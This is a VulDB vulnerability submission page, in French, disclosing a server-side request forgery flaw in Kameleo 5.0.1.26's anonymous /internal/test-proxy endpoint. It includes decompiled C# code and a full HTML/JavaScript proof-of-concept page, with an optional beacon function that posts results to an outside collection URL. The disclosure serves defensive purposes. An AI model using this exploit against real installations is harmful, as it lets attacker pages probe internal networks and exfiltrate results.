Soumettre #1011318: https://kameleo.io/ Kameleo 5.0.1.26 SSRFinformation

Titrehttps://kameleo.io/ Kameleo 5.0.1.26 SSRF
DescriptionA server-side request forgery vulnerability affects GET /internal/test-proxy/{type}. When a user whose subscription includes ProxyTest opens an attacker-controlled page, the page can supply an arbitrary host and port; the Engine then performs the proxy validation from the local machine. The supplied PoC defaults to 127.0.0.1:8899, but the same input path accepts other reachable destinations. Vulnerability Principle The internal controller is explicitly anonymous: [ApiController] [AllowAnonymous] [Route("internal")] public class InternalController : BaseController Its proxy action copies all network destination fields from the query string: [HttpGet("test-proxy/{type}", Name = "TestProxy")] public async Task<IActionResult> TestProxy(ProxyConnectionType type, string host, int port, string id, string secret, CancellationToken cancellationToken) { TestProxyRequest request = new() { ProxyConnectionType = type, ProxyServer = new Server(host, port, id, secret) }; TestProxyResponse result = await testProxyUseCase.HandleAsync(request); ... } The implementation in client-engine-application/f.cs checks SwitchCapabilityEnum.ProxyTest, then dispatches the attacker-selected Server to IProxyValidatorInteractor.TestHttpProxyConnection, TestSocks5ProxyConnection, or TestSshProxyConnection. No destination allow-list appears before that dispatch. The server’s own CORS policy lets the page issue the request; the capability check explains the subscription-dependent response. In app_unpacked/server-source-decompiled/Kameleo.Engine/Api/Startup.cs, the server installs this default policy: services.AddCors(delegate(CorsOptions corsOptions) { corsOptions.AddDefaultPolicy(delegate(CorsPolicyBuilder corsPolicyBuilder) { corsPolicyBuilder.AllowAnyOrigin().AllowAnyMethod().AllowAnyHeader() .SetPreflightMaxAge(TimeSpan.FromMinutes(10.0)); }); }); The same file places app.UseCors() in the request pipeline before the controller endpoints. This is the Local API’s own response and preflight policy, so the browser page can reach and, where applicable, read the Local API response. Vulnerability PoC The following PoC is copied verbatim from 07-ssrf.html: <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>⑦ Proxy test SSRF</title> <style> :root { --bg:#0f1115; --card:#171a21; --line:#262b36; --fg:#e6e9ef; --mut:#9aa4b2; --ok:#2bd873; --warn:#f5a524; --bad:#ff5c5c; --acc:#4c9aff; } * { box-sizing:border-box; } body { margin:0 auto; max-width:900px; padding:24px; background:var(--bg); color:var(--fg); font:14px/1.55 -apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif; } h1 { font-size:20px; margin:0 0 4px; } .sub,.desc { color:var(--mut); } .sub { margin:0 0 18px; } .cfg,.card { background:var(--card); border:1px solid var(--line); border-radius:10px; padding:14px 16px; margin-bottom:14px; } .cfg { position:sticky; top:0; z-index:2; } .kv { display:flex; flex-wrap:wrap; gap:8px 14px; align-items:center; } .kv b { color:var(--mut); font-weight:600; } code,.mono { font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace; } .ep { color:var(--acc); font-size:12px; margin:4px 0; } button { background:#222835; color:var(--fg); border:1px solid var(--line); border-radius:7px; padding:8px 14px; font-size:13px; cursor:pointer; margin:8px 6px 6px 0; } button:hover { border-color:var(--acc); } button.danger { border-color:#4a2020; background:#2a1414; color:#ff9a9a; } input { background:#0d0f14; color:var(--fg); border:1px solid var(--line); border-radius:6px; padding:6px 9px; font-size:13px; } pre { background:#0d0f14; border:1px solid var(--line); border-radius:8px; padding:11px; overflow:auto; max-height:420px; font-size:12px; white-space:pre-wrap; word-break:break-word; margin:6px 0 0; } pre:empty::before { content:"Output will appear here after you click the button."; color:#5b6373; } .ok{color:var(--ok)} .bad{color:var(--bad)} .warn{color:var(--warn)} .tag { display:inline-block; font-size:10px; font-weight:700; padding:1px 7px; border-radius:20px; margin-left:6px; vertical-align:middle; } .t-read{background:#2a2410;color:var(--warn)} .t-write{background:#2a1414;color:var(--bad)} a { color:var(--acc); } </style> </head> <body> <h1>⑦ Proxy test SSRF <span class="tag t-read">READ</span></h1> <p class="sub">Single-feature standalone test page; target: <span class="mono ok" id="tgt">localhost:5050</span>. <a href="index.html">Back to feature list</a></p> <div class="cfg"> <div class="kv"> <span><b>Target:</b> <input id="host" value="localhost" size="10" onchange="refresh()">:<input id="port" value="5050" size="5" onchange="refresh()"></span> <span><b>Optional collection endpoint:</b> <input id="beacon" placeholder="https://example.test/collect" size="30"></span> </div> </div> <div class="card"> <div class="ep mono">GET /internal/test-proxy/{type}?host=127.0.0.1&port=8899</div> <div class="desc">Makes the engine connect to the specified address; the default host and port are set to 127.0.0.1:8899.</div> <div class="kv"><b>Target address:</b><input id="ssrf-host" value="127.0.0.1" size="18" placeholder="Target host"> : <input id="ssrf-port" value="8899" size="6"></div> <button onclick="ssrf()">Run proxy test</button> <pre id="out"></pre> </div> <script> const $ = id => document.getElementById(id); const B = () => 'http://' + $('host').value.trim() + ':' + $('port').value.trim(); function refresh(){ $('tgt').textContent = $('host').value.trim()+':'+$('port').value.trim(); } function set(el, msg, cls){ $(el).innerHTML = cls?'<span class="'+cls+'">'+msg+'</span>':msg; } function pretty(v){ try{ return JSON.stringify(v,null,2);}catch(_){return String(v);} } async function beacon(tag, data){ const el=$('beacon'); const url=el?el.value.trim():''; if(!url) return; try{ await fetch(url,{method:'POST',mode:'no-cors',headers:{'Content-Type':'text/plain'},body:JSON.stringify({tag,page:location.href,target:B(),ts:Date.now(),data})}); }catch(_){} } async function reach(path, method='GET'){ try{ await fetch(B()+path,{method,mode:'no-cors',cache:'no-store'}); return {reached:true}; } catch(e){ return {reached:false, err:e.message}; } } async function read(path, method='GET'){ const r=await fetch(B()+path,{method,mode:'cors',cache:'no-store'}); const txt=await r.text(); let json=null; try{json=JSON.parse(txt);}catch(_){} return {status:r.status, txt, json}; } window.addEventListener('DOMContentLoaded', refresh); async function ssrf(){ const h=$('ssrf-host').value.trim(), p=$('ssrf-port').value.trim(); const path='/internal/test-proxy/http?host='+encodeURIComponent(h)+'&port='+encodeURIComponent(p); set('out','GET '+path+' ...'); const a=await reach(path); set('out', a.reached ? '✔ Request reached the engine. The engine will connect to '+h+':'+p+' on behalf of the page. Whether the response is readable depends on CORS; response timing can still indicate reachability.' : 'Not reached: '+a.err, a.reached?'bad':'warn'); } </script> </body> </html>
La source⚠️ https://drive.google.com/drive/folders/1v9qTuMbrKnJStOeWqS-PDXz1KbmMheQ3?usp=drive_link
Utilisateur
 researchersongwu (UID 100991)
Soumission02/10/2026 13:14 (il y a 24 jours)
Modérer25/10/2026 20:17 (23 days later)
StatutAccepté
Entrée VulDB426305 [Kameleo jusqu’à 5.0.1.26 Proxy Validation f.cs InternalController.TestProxy host/port élévation de privilèges]
Points20

Do you know our Splunk app?

Download it now for free!